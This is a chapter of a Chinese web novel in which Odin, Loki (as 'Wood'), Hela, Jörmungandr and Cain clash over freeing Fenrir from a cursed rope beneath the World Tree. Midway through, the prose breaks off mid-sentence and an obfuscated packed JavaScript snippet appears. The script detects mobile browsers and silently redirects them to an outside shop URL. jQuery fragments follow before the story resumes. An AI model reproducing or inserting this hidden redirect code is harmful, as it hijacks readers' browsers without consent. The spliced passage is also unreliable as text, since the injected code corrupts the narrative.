123读书网 > 都市小说 > 老板说失忆的我曾经是邪神洛基 > 88.奥丁与世界树(10)

88.奥丁与世界树(10)

    “那些东西根本不是人!”


    “我本来也不是人。”


    奥丁不假思索地说道。


    “但你是北欧文明的想象共同体,虽然随着文化的全球化传播已经逐渐变成全人类的想象共同体。可是如果相信你的存在的人类全部死亡、记录你的故事的书籍全部摧毁,作为人类想象共同体的你也会消失不见。”


    “所以我和克苏鲁力量合作,以此保证人类文明的长久延续——让人类这个文明集合体融入克苏鲁生命体变成永不消亡的文明集合体,我也将从此得到永恒的生命。”


    “你——简直不可理喻!”


    “伍德”抬头,眼中的电光逐渐消退。


    “奥丁,正如生命终将走向结束,你为对抗死亡做出的所有的挣扎和努力也终究会失败……接受现实吧!然后迎接新生。”


    “——不可能!永远不可能!”


    奥丁冷峻地握住拳头:“我身为北欧神王,与生俱来的胜利者!我永远不接受死亡!”


    “那就只能——芬里尔!”


    [爸爸!]


    芬里尔激动回应,虽然为此再次付出痛苦代价。


    托尔感受到芬里尔的骚动,左手再度抓紧诅咒绳索,右手高举雷神之锤——


    “去死吧!背叛阿斯加德的洛基!我的——啊!”


    一声急促的惨叫过后,雷神之锤脱离托尔,落在穿着红斗篷的海拉手中。


    “海拉!海拉——”


    托尔大惊失色。


    “伍德”转头,看了眼海拉,和声细气地说道:“差点忘记告诉你们,我并非一个人!”


    “好不容易找到爸爸,怎么可能让爸爸私自行动?”


    海拉微笑着,双手用力——


    轰!


    雷神之锤竟然碎裂!


    “——怎么会!”


    托尔震惊。


    奥丁也露出难以置信的神色:“你、你……你为什么可以……”


    “因为我是统治死亡的海拉啊。”


    海拉淡淡地说着,雷神之锤的碎片在祂的白骨之手中分崩离析。


    “雷神之锤拥有自我意识,因此也是一种生命——既然是生命就一定会死亡。”


    “——你!”


    奥丁愤怒地看着伍德和海拉:“我真后悔当年没有——”


    “很抱歉,命运之线有且只有一个方向。”


    说完,海拉来到伍德身边,白骨之手与丰腴之手一起抱住他:“爸爸~”


    “耶梦加得呢?”


    伍德温柔抚摸女儿的头发。


    [我在这里~]


    坏笑的声音自地底响起,紧接着,一只黑猫蹦蹦跳跳地扑进伍德怀中,用力舔他的脸。


    [爸爸!爸爸!爸爸!]


    “好啦好啦~”


    伍德被耶梦加得猫舔得脸皮发痒,赶紧把祂挪开,指着依然被困的芬里尔:“关于芬里尔和困住牠的诅咒绳索,你们有什么建议?”


    [我们为什么要管牠?]


    耶梦加得猫不满地嘀咕道。


    伍德:“因为牠是你们的同胞兄弟。”


    [哼!]


    耶梦加得猫扭过脑袋。


    [我才不承认这只笨狗是我的兄弟!]


    [我也不想承认这只伪装成猫的蛇是我兄弟!]


    芬里尔不甘示弱地抱怨道。


    伍德无语,看向正和奥丁沉默对峙的海拉:“你有什么看法?我的意思是,北欧神话中几乎所有的生命死后都会进入你统治的死国,他们当中一定有人知道解开诅咒绳索的办法。”


    “爸爸确定要救芬里尔吗?”


    海拉反问伍德。


    伍德笃定地点了点头:“牠和你们一样都是我的孩子,我不能眼睁睁看着牠在阿斯加德神界受折磨。”


    “芬里尔一旦脱困,诸神黄昏就会——”


    “奥丁!你闭嘴!”


    海拉和伍德异口同声说道:“事情会闹到这一步,全是你自罪自受!”


    随后——


    “……我一度和该隐结成临时同盟,除了我们都想找到爸爸,也因为当前世界只有该隐知道如何解开芬里尔的诅咒绳索。”


    “真的?该隐真的知道如何解开诅咒绳索?”


    伍德又惊又喜。


    海拉笃定地点了点头。


    “解开绳索的办法就是——”


    “亲爱的~”


    温柔儒雅的声音骤然响起,紧接着,世界树下狂风大作,肆虐的飓风卷起海量落叶,等到落叶散去时——


    脖子上缠绕白围巾以掩盖伤痕的该隐飘然出现。


    祂看了眼周围,语调夸张地说道:“哦,亲爱的海拉,世间最可爱的死亡淑女,我很荣幸能在你和你的父亲需要我的时候应召出现。”


    随后,祂又看向奥丁。


    “哈喽,总是担心下一秒就会死亡的北欧神王,今天的你是否也在计划阴谋诡计?那边那位全身肌肉的雷神托尔帅哥,你的雷神之锤呢?碎掉了?还是今天出门匆忙忘记携带了?”


    “哼!”


    和该隐显然是老相识的奥丁冷哼一声。


    被刺了痛处的托尔则是双眼瞪圆,怒气满满。


    该隐对此毫不在意。


    依次打招呼完毕,祂快步走到伍德面前,亲昵问道:“听说你们想解开诅咒绳索解放芬里尔?”


    “是的,牠不该被祂们囚禁。”


    “可是——”


    “你有什么条件?”


    伍德径直问道。


    “如果我说我的条件是和我约会一个月,你会答应吗?”


    “这个……”


    伍德有些犹豫。


    毕竟——


    [别答应这个混蛋!祂和奥丁祂们一样,都不是好东西!]


    芬里尔声嘶力竭地抗议道。


    “啊?原来我不是好东西吗?”


    听懂芬里尔的怒吼的该隐做出假惺惺的惊讶姿态。


    伍德见状,吸了口气,强调道:“帮帮我!解放芬里尔,你的条件……”


    “能答应吗?”


    该隐一脸急切期待。


    “我正在考虑。”


    “所以你其实并不考虑答应?”


    伍德没有回复。


    这时,奥丁再次开口:“我可以承诺你——该隐,只要你加入我的联盟,我达成目的后一定把洛基作为酬劳送给你!你到时候可以任意处置祂。”


    “真的?”


    “以众神之名发誓。”


    “……嗯。”


    该隐做出思考姿态,似乎非常心动。


    伍德见状,心中不由——


    “但我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137033|187449||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还是决定拒绝你,奥丁。”


    该隐突然开口,第一句话就让在场所有生命都陷入震惊。


    “你说什么?”


    “你——”


    “是的,我决定拒绝奥丁的邀请。”


    该隐平静地说道:“不是因为我觉得你不值这个价或是我担心奥丁无法兑现祂的诺言,单纯只是因为我确信这样做不能让我得到我真正想要的东西。”


    “你真正想要的是什么?”


    奥丁强压愤怒故作优雅地问道。


    “我真正想要的是什么?”


    该隐歪着脑袋,俏皮笑道:“不好意思,我其实从未想过‘我真正想要的是什么’这个问题。我是个陷入虚无空洞的倒霉鬼。不死的诅咒让我比世间任何生命都更加空虚也更加容易厌倦——因为我无法感受到时间的紧迫和一去不复返,也无法挽留那些随着时间自然走向死亡的人和事。为了不让自己留下更多的空虚和遗憾,我决定——在意识到自己真正想要的东西是什么以前,绝不伤害任何可能成为我最想要的东西的存在。”


    “你认为洛基有可能成为你最想要的东西?”


    “是的。”


    该隐不假思索地说道,漆黑的眼神注视着伍德的面容:“对阿斯加德众神而言,祂是个能带来大量实际利益的同时还既危险又不可控的存在,但在我看来,祂是这个世界上最纯粹最可爱的存在。我们的相识可以追溯到北欧还是一片汪洋的远古时代,那时候,地球还处于上一个纪元的文明被毁灭、下一个纪元的文明未出生的荒芜时期。我原本只是为了消遣寂寞才和祂走到一起,结果却是——总之,不管发生什么事情,我都不会主观意愿地伤害祂。”


    “所以——”


    奥丁的声音逐渐阴暗。


    伍德意识到祂将要采取可怕手段,急忙提醒该隐:“奥丁——”


    “没关系,祂不是我的对手。”


    该隐无所谓地耸耸肩,随后,走到依旧被托尔抓着绳索的芬里尔身边,单膝跪下,轻抚狗头。


    “可怜的芬里尔,如果你愿意喊我一声爸爸——”


    [休想!]


    芬里尔忍着剧痛骂道。


    “我早知道你不会答应这个条件。”


    该隐故作淡然地笑着,左手轻轻拂过芬里尔的硕大脑袋——


    “你想干什么!”


    托尔大怒:“休想——”


    “你没有资格拦阻我。”


    话音落,缠绕在芬里尔脖子上的诅咒绳索便出现细微松动,仿佛被火焰点燃般生出细碎的火花。


    “这、这、这……”


    托尔惊呆。


    芬里尔却露出痛苦神情,被巨剑强行撑开的嘴巴发出撕裂的吼叫。


    “嗷呜——”


    [好痛!好痛!好痛——]


    “忍一下。”


    伍德心疼地抱住芬里尔的脑袋:“再忍一下,绳索就能彻底解开了。”


    [可是……嗯……]


    芬里尔持续不断地痛苦呜咽,脖颈处的毛发也被诅咒绳索表面的火焰波及持续不断地冒出浓烟。空气中弥漫着毛发蛋白烧焦的臭味。


    “再忍忍……很快就好了……可怜的芬里尔……”


    伍德温柔安抚芬里尔,同时思考如何安全拔出撑开芬里尔嘴巴的巨剑。


    “这把剑……”